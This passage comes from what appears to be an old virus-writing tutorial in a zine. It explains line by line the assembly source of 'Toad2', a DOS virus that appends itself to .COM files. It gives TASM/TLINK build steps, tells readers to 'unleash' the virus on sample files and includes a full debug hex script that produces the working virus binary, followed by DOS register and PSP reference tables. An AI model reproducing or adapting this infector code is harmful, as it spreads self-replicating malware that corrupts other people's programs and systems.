rea and why
are we moving it?
The DTA
------------------------------------------------------------
Offset Size Function
0h 21 Bytes Reserved
15h 1 Byte File Attributes
16h 2 Bytes(WORD) File Time
18h 2 Bytes(WORD) File Date
1Ah 4 Bytes(DWORD) File Size
1Eh 13 Bytes File name string
The DTA is located within the rogram egment
refix.
See Appendix 2 for the complete format of the PSP. When a
program is executed, the program loader builds a PSP
starting at address 00 hex. The PSP is 256 bytes (100 hex)
long and contains information for executing the program.
The DTA is located at offset 80 hex of the PSP. As you can
see in the above chart, the DTA contains very useful
information that we need to reference in our virus. It is
good practice, especially when altering information in the
DTA, to set a new DTA in a temporary location. Therefore,
the host program DTA is not being changed or corrupted
during the infection process.
_____________________________________________________________________
get_one:
mov ah,4eh
lea dx,[bp+comsig]
mov cx,7
next:
int 21h
jnc openit
jmp bug_out
You should remember this from the overwriting virus. A very
useful piece of code that finds the first file in the
current directory with the attributes that are specified in
CX and DX. We load DX, in this case, with "*.com" that is
defined in comsig in the data area of our virus. CX is
loaded with 7 which looks for a file with any attributes.
The jump instruction "jnc" tests the carry flag. Remember
the carry flag from the overwriting virus? If a file is
found, the carry flag is set to zero and the jump is made to
openit. Otherwise, the jump is made to bug_out.
_____________________________________________________________________
openit:
mov ax,3d02h
lea dx,[bp+OFFSET hide_dta+1eh]
int 21h
xchg bx,ax
The openit routine takes the file that was just found and
opens it for read and write with int 21 AX=3d02 hex. You
will also have to load DX with the address of the filename
string. Remember that the filename is stored in the DTA,
bp+hide_dta, at offset 1e hex. Once the file is opened, the
file handle is put in AX. For all subsequent uses of the
file, we need to move the handle to BX. This is done with
the xchg instruction. If you remember from the last
tutorial, "mov bx,ax" can also be used, but it is one byte
longer than using the xchg instruction.
_____________________________________________________________________
rec_thr:
mov ah,3fh
lea dx,[bp+thrbyte]
mov cx,3
int 21h
This routine reads a record, or a certain number of bytes
into a specified location. AH is loaded with 3f hex to
specify the read record function. DX is loaded with the
address of the input area, or the location that we want the
bytes to be stored. In this case, the bytes are to be
stored in thrbyte + bp, which is located in the data area of
our virus. CX is loaded with the number of bytes that we
are going to read. The purpose of this function in our
virus is to store the first three bytes of the program to be
infected to a specified place within our virus. Part of the
infection process will be to write a jump, located in the
first three bytes of the infected program, to our main body
virus code that is located at the end of the infected
program.
_____________________________________________________________________
infect_chk:
mov ax,word ptr [bp+hide_dta+1ah]
mov cx,word ptr [bp+thrbyte+1]
add cx,horny_toad-toad+3
cmp ax,cx
jz close_up
The infect_chk routine checks to see if the file that the
virus just opened has already been infected. Don't worry,
it looks a lot more difficult than it actually is. First of
all we move the file size into AX. The file size is located
at offset 1a hex in the DTA. Remember that our DTA is
stored at bp + hide_dta. Next, we move the second and third
bytes from bp + thrbyte into CX. If the file had already
been infected, then the amount of the jump to our main virus
body would now be in CX. Now if we add the length of the
virus plus the three initial bytes and compare the amount to
the filesize in AX, if the two are equal, the file is
already infected and the we jump to the close_up routine.
If the two amounts are different then control simply passes
to the next instruction at the beginning of the jump_size
routine.
_____________________________________________________________________
jmp_size:
sub ax,3
mov word ptr [bp+newjump+1],ax
In the last routine, infect_chk, the file size was loaded
into AX. We will now subract, "sub", 3 (bytes) from the
file size in AX to account for the 3 byte jump written to
the beginning of the file. Therefore, AX now holds the
distance of the jump that must be made to get to our main
virus body. In order to store this jump in new jump, we
must use the index specifiers (brackets) to add the bp
(delta offset) plus the offset of newjump plus 1 (to account
for the jump over the e9 hex).
_____________________________________________________________________
to_begin:
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
In order to write the jump to our virus code, we need to
move the file pointer to the beginning of the host program.
As you can see, after loading 42 hex into AH, we need to
zero out CX and DX. For this task we use our handy dandy
XOR instruction. Remember that if we XOR a register with
itself, the register is cleared to zero.
You will also see the above routine written in many virii
as:
to_begin:
mov ax,4200h
cwd
xor cx,cx
int 21h
I hesitate to show you this, but you should know what it
means if you see it. The "cwd" instruction, or onvert
ord to oubleword, extends the value in AX through DX
from a WORD to a Doubleword, thus zeroing out DX.
_____________________________________________________________________
write_jump:
mov ah,40h
mov cx,3
lea dx,[bp+newjump]
int 21h
This routine writes the jump instruction that was stored in
new_jump + bp to the beginning of the host program. The
length of the jump is 3 bytes, as indicated with the amount
loaded into CX.
_____________________________________________________________________
to_end:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
This is essentially the same thing as the to_begin routine
except that it moves the file pointer to the end of the host
program so that we can write the main body of our virus.
The only difference with to_end and to_begin is the 02 hex
loaded in AL.
_____________________________________________________________________
write_body:
mov ah,40h
mov cx,horny_toad-toad
lea dx,[bp+toad]
int 21h
This routine is practically a ditto of the write_jump routine.
With this one, we are writing the main body of the virus to the
end of the host file. CX is loaded with the length of the virus
not including the initial jump. Remember that CX is just a
measurement, the entire virus is not being moved into the CX
register. DX, as usual, contains the starting address from which
to write.
_____________________________________________________________________
close_up:
mov ah,3eh
int 21h
Setting 3e hex into AH and initiating an int 21 closes the
current file. This operation updates the directory and FAT,
file allocation table with the date and file size.
_____________________________________________________________________
next_bug:
mov ah,4fh
jmp next
This instruction should look familiar from the overwriting
virus. Moving 4f hex into AH sets up the find next file
routine. What this does is take the attributes that we
loaded when the 4e hex routine was initiated in get_one and
find the next file that contains those attributes. You will
notice that the int 21 is done after the jump is made to
next.
_____________________________________________________________________
bug_out:
mov dx,80h
mov ah,1ah
int 21h
retn
The bug_out routine replaces the DTA address to 80 hex and
transfers control over to the host program. In the case of
the first generation virus being run, an int 20, or terminate
program, is issued in the first three bytes to terminate
operations. The "retn" instruction is the means that we use
to return control to the host program. The return instruction
moves the word at the top of the stack into the IP. Remember
in the first_three routine when we pushed the di (100 hex) onto
the stack? We were actually setting up the return sequence to
hand control back to the original program. If you hadn't pushed
di (100 hex) on to the stack at the beginning of the virus, you
could now replace the retn with:
mov di,100h
jmp di
or
push 100h
ret
Basically anything that will transfer control to offset 100 hex, the
beginning of the host program in memory.
_____________________________________________________________________
comsig db '*.com',0
thrbyte db 0cdh,20h,0
newjump db 0e9h,0,0
horny_toad label near
hide_dta db 43 dup (?)
Now we get to the data area of our virus. For convenience
and organization we will define all the necessary data here
at the end of the virus. Since we have not actually
declared this area to be a data section, the information
defined here could very well be located at the beginning of
the virus. Now let's look at the information that we are
defining. This should all look familiar because the virus
has already utilized all of this data during the execution
of the above code. The first thing that we define is
thrbyte. Thrbyte holds the first three bytes of the
infected program, which are replaced with the jump to the
virus main body. Only on the first run of the virus will
this be cd hex - 20 hex, or int 20h, terminate program.
These are the three bytes that will be written in memory to
location 100 hex. On completion of the infection process,
control of the host program will be returned and the
instructions at 100 hex will be executed. On the first run
of the virus, we simply want the virus to terminate after it
has infected all of the COM files that it has found.
Otherwise, we would have a vicious loop of the virus
continuing to search for more files.
The next piece of data that we will define is newjump.
Initially newjump will hold only a blank jmp instruction (e9
hex). Newjump is calculated in jmp_size and actually
written to the newly infected file in the write_jump
routine.
The next line is simply a marker, horny_toad. Remember
that we used the same near label in the overwriting virus
just as a place to reference the end point of the
operational virus. This line has no other purpose in the
virus.
The last thing that is defined in the virus is the
hide_dta. This is the area that we will use to store the DTA
during our virus operation. The DTA is 43 (2B hex) bytes long.
Therefore we use the duplicate instruction to set up the amount
of area for the DTA.
_____________________________________________________________________
code ends
end start
The next two lines essentially close up the virus code.
"Code ends" defines the end of the code segment. If I had
defined a data segment, I would have ended it with "data
ends." The end directive marks the end of the virus. Start
indicates to the computer where to start execution of the
code, which should be somewhere in the code segment. Sorry
for the brevity of the description of the final lines, but
they really are simple, they are completing, or closing up
the beginning lines of our virus code.
_____________________________________________________________________
Compiling and Unleashing the Toad2 Virus
Well, congratulations, you have finished the second lesson
in virus writing. Now you know how to write a more advanced
virus than the overwriting infector.
The next step for you to do is compile this virus and watch
it infect some files. The program that you will be using to
compile the source code is TASM. TASM is a very awesome
compiler. Please, do not use MASM. The linker program that
you will be using is TLINK, which turns the compiler's
output into an executable program. It really doesn't matter
which editor that you use to type the asm file with. You
can actually use any word processor that you want. When it
comes time to compiling the virus, switch to dos and follow
the instructions below. I would like for you to type the
virus out yourself, but I have included a zipped directory,
create, that contains the coded asm file. In order to
compile the virus, save the virus as an ".asm" file. With
TASM in the same directory, type:
C:\>tasm toad2.asm (You can actually do this from any
directory that you want)
The result should be:
Turbo Assembler Version 2.01
Assembling file: toad2.asm
Error Messages: none
Warning Messages: none
Passes: 1
Remaining Memory: 425k
If there was an error in the code, TASM will indicate it in
the error messages line. If you have typed the code in
yourself and there is an error, revert back to the file
"toad2.asm" and take a look at my code, it works. If there
are too many problems with your code and you'd just like to
see how all this stuff works, switch to the "create"
directory and type the above instructions again. There is a
copy of the "toad2.asm" and TASM and TLINK in this
directory. What TASM has done is convert the ASM file into
an OBJ file. In order to get an executable COM file, we
need to use the linker. Type:
C:\>tlink /t toad2.obj
Tlink will return TOAD2.COM in the current directory. You
now have a virus in front of you. Don't get scared, it
won't bite. Now you will need to move the virus from the
current directory to the pond directory. Type:
C:\>copy toad2.com c:\pond\
Then type :
C:\>cd ..\pond
This will move you to the pond directory. Now list the
contents of the directory by typing:
C:\pond>dir
You will see that there are some files in this directory,
TOAD2.COM and FLY(1-3).COM. TOAD.COM is your virus and the
FLY(1-3).COM are the files that you are going to infect.
FLY.COM is just a simple COM file that does absolutely
nothing. Easy prey! Take a note of the size of the two
files, 6 and 162. Now unleash the virus by typing:
C:\pond>toad2
Now list the contents of the directory again. You will now
see that the files FLY(1-3) have become a little larger.
FLY(1-3).COM are now infected. If all your attempts to
compile and link the toad2 virus fail, I have included a
compiled copy of the toad2 virus and many fly.com files in
the TOAD directory. Change to the TOAD directory and type
toad2. The fly files will become infected.
_____________________________________________________________________
Debug script of the Toad2 virus
For those of you who would rather not use the compiler for some
ungodly reason or if you are interested in viewing a hex dump of
the virus in first generation, here is the debug script of toad2.com.
Looking at the debug script of your virus can also help you out
in determining the length of certain parts of the virus. Take
a look at the script below. You can see the blank jump "e9 00 00"
at the beginning of the code for the jump to the main virus body.
Look at the end of the script and you can find the int 20 "cd 20"
and the blank jump in newjump "e9 00 00". To measure the distance
of certain parts of the virus, each two digit group equals one
byte. For example, "e9" equals one byte. You can determine the
total length of the virus by counting the number of groups in the
script. In this case, the toad2 virus will come out to 163 bytes.
I hope that I have not confused you with this. I purposely put this
section at the end of the tutorial because I did not want to go
into detail on the use of debug. In the next edition of the zine
there will be an article on using debug in virus writing. I just
wanted to give you a taste of what is to come. In order to get a
functioning virus from the below code you need to find your copy
of debug. Cut the below code out and save it to a file called
toad2.txt. Then at a cursor, with debug in the same directory,
type:
debug < toad2.txt
N TOAD2.COM
E 0100 E9 00 00 E8 00 00 5D 81 ED 06 01 B9 03 00 8D B6
E 0110 9D 01 BF 00 01 57 F3 A4 8D 96 A3 01 B4 1A CD 21
E 0120 B4 4E 8D 96 97 01 B9 07 00 CD 21 73 03 EB 60 90
E 0130 B8 02 3D 8D 96 C1 01 CD 21 93 B4 3F 8D 96 9D 01
E 0140 B9 03 00 CD 21 3E 8B 86 BD 01 3E 8B 8E 9E 01 81
E 0150 C1 A3 00 3B C1 74 30 2D 03 00 3E 89 86 A1 01 B8
E 0160 00 42 33 C9 33 D2 CD 21 B4 40 B9 03 00 8D 96 A0
E 0170 01 CD 21 B8 02 42 33 C9 33 D2 CD 21 B4 40 B9 A0
E 0180 00 8D 96 03 01 CD 21 B4 3E CD 21 B4 4F EB 9A BA
E 0190 80 00 B4 1A CD 21 C3 2A 2E 63 6F 6D 00 CD 20 00
E 01A0 E9 00 00
RCX
00A3
W
Q
_____________________________________________________________________
Appendix 1 - The Registers
AX Accumulator
BX Base register
CX Counting register
DX Data register
DS Data Segment register
ES Extra Segment register
SS Stack Segment register
CS Code Segment register
BP Base Pointer register
SI Source Index register
DI Destination Index register
SP Stack Pointer register
IP Next Instruction Pointer register
F Flag register
Appendix 2 - The PSP (from Ralf Brown's Interrupt List)
Format of Program Segment Prefix (PSP):
Offset Size Description (Table 1032)
00h 2 BYTEs INT 20 instruction for CP/M CALL 0 program
termination the CDh 20h here is often used
as a signature for a valid PSP
02h WORD segment of first byte beyond memory allocated to
program
04h BYTE (DOS) unused filler (OS/2) count of fake DOS
version returns
05h BYTE CP/M CALL 5 service request (FAR CALL to absolute
000C0h) BUG: (DOS 2+ DEBUG) PSPs created by DEBUG
point at 000BEh
06h WORD CP/M compatibility--size of first segment for .COM
files
08h 2 BYTEs remainder of FAR JMP at 05h
0Ah DWORD stored INT 22 termination address
0Eh DWORD stored INT 23 control-Break handler address
12h DWORD DOS 1.1+ stored INT 24 critical error handler
address
16h WORD segment of parent PSP
18h 20 BYTEs DOS 2+ Job File Table, one byte per file
handle, FFh = closed
2Ch WORD DOS 2+ segment of environment for process (see
#1033)
2Eh DWORD DOS 2+ process's SS:SP on entry to last INT
21 call
32h WORD DOS 3+ number of entries in JFT (default 20)
34h DWORD DOS 3+ pointer to JFT (default PSP:0018h)
38h DWORD DOS 3+ pointer to previous PSP (default
FFFFFFFFh in 3.x) used by SHARE in DOS 3.3
3Ch BYTE DOS 4+ (DBCS) interim console flag (see AX=6301h)
Novell DOS 7 DBCS interim flag as set with
AX=6301h (possibly also used by Far East MS-DOS
3.2-3.3)
3Dh BYTE (APPEND) TrueName flag (see INT 2F/AX=B711h)
3Eh BYTE (Novell NetWare) flag: next byte initialized if
CEh (OS/2) capabilities flag
3Fh BYTE (Novell NetWare) Novell task number if previous
byte is CEh
40h 2 BYTEs DOS 5+ version to return on INT 21/AH=30h
42h WORD (MSWindows3) selector of next PSP (PDB) in linked
list Windows keeps a linked list of Windows programs
only
44h WORD (MSWindows3) "PDB_Partition"
46h WORD (MSWindows3) "PDB_NextPDB"
48h BYTE (MSWindows3) bit 0 set if non-Windows application
(WINOLDAP)
49h BYTE unused by DOS versions <= 6.00
4Ch WORD (MSWindows3) "PDB_EntryStack"
4Eh 2 BYTEs unused by DOS versions <= 6.00
50h 3 BYTEs DOS 2+ service request (INT 21/RETF instructions)
53h 2 BYTEs unused in DOS versions <= 6.00
55h 7 BYTEs unused in DOS versions <= 6.00; can be used
to make first FCB into an extended FCB
5Ch 16 BYTEs first default FCB, filled in from first
commandline argument overwrites second FCB if opened
6Ch 16 BYTEs second default FCB, filled in from second
commandline argument overwrites beginning of
commandline if opened
7Ch 4 BYTEs unused
80h 128 BYTEs commandline / default DTA
command tail is BYTE for length of tail, N BYTEs
for the tail, followed by a BYTE containing 0Dh